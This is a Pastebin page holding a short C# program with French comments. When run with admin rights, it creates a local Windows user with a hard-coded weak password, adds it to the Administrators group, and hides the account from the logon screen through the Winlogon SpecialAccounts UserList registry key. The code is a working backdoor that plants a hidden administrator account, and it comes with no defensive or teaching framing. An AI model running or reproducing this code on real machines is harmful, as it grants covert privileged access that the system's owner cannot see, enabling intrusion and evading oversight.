Advertisement
Manu404

SmallAR

Jun 2nd, 2011
260
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.63 KB | None | 0 0
  1. using System;
  2. using System.DirectoryServices;
  3. using Microsoft.Win32;
  4.  
  5. namespace SmallVR
  6. {
  7.     class Program
  8.     {
  9.         static void Main(string[] args)
  10.         {
  11.             string username = "Manu404";
  12.             string password = "password";
  13.  
  14.             Console.ReadKey();
  15.             // Création d'un objet utilisateur
  16.             DirectoryEntry user = CreateUser(username, password);
  17.             // Ajout de l'utilisateur au groupe Administrateurs
  18.             AddUserToGroup(user, "Administrateurs");
  19.             // Suppression de l'utilisateur au logon
  20.             HideUser(username);
  21.  
  22.             Console.WriteLine("Finished");
  23.             Console.ReadKey();
  24.         }
  25.  
  26.         static void HideUser(string user)
  27.         {
  28.             try
  29.             {
  30.                 // Cette clef permet de rendre les comptes utilisateurs
  31.                 // qu'elle contient non visible au logon.
  32.                 // Il suffit d'ajouter un DWORD qui porte le nom de l'utilisateur
  33.                 // et ensuite de mettre sa valeur a 0.
  34.                 // Pour faire réapparaitre l'utilisateur au logon, mettre la valeur a 1.
  35.                 string keyPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\"
  36.                                 +"Winlogon\\SpecialAccounts\\UserList";
  37.                 RegistryKey k = Registry.LocalMachine.OpenSubKey(keyPath, true);
  38.                 k.CreateSubKey(user);
  39.                 k.SetValue(user, 0, RegistryValueKind.DWord);
  40.             }
  41.             catch (Exception ex)
  42.             {
  43.                 Console.WriteLine(ex.Message);
  44.             }
  45.         }
  46.  
  47.         static DirectoryEntry CreateUser(string name, string password)
  48.         {
  49.             // On accède a la machine locale
  50.             using (DirectoryEntry localMachine =
  51.                     new DirectoryEntry("WinNT://" + Environment.MachineName))
  52.             {
  53.                 try
  54.                 {
  55.                     // Crée un nouvel objet système de type user puis definis son mot de passe.
  56.                     // On applique les changements lors du CommitChange()
  57.                     DirectoryEntry newUser = localMachine.Children.Add(name, "user");
  58.                     newUser.Invoke("SetPassword", new object[] { password });
  59.                     newUser.CommitChanges();
  60.                     newUser.Close();
  61.                     localMachine.Close();
  62.                     return newUser;
  63.                 }
  64.                 catch (Exception ex)
  65.                 {
  66.                     Console.WriteLine(ex.Message);
  67.                 }
  68.                 return null;
  69.             }
  70.         }
  71.  
  72.         static void AddUserToGroup(DirectoryEntry user, string group)
  73.         {
  74.             // On accède a la machine locale
  75.             using (DirectoryEntry localMachine =
  76.                         new DirectoryEntry("WinNT://" + Environment.MachineName))
  77.             {
  78.                 try
  79.                 {
  80.                     // On récupère le groupe portant le nom passé en argument
  81.                     // Ensuite on y ajoute l'objet système passé egallement en argument
  82.                     // Les changements sont appliqués au CommitChange()
  83.                     DirectoryEntry admGroup = localMachine.Children.Find(group, "group");
  84.                     admGroup.Invoke("Add", new object[] { user.Path.ToString() });
  85.                     admGroup.CommitChanges();
  86.                     admGroup.Close();
  87.                     localMachine.Close();
  88.                 }
  89.                 catch (Exception ex)
  90.                 {
  91.                     Console.WriteLine(ex.Message);
  92.                 }
  93.             }
  94.         }
  95.     }
  96. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement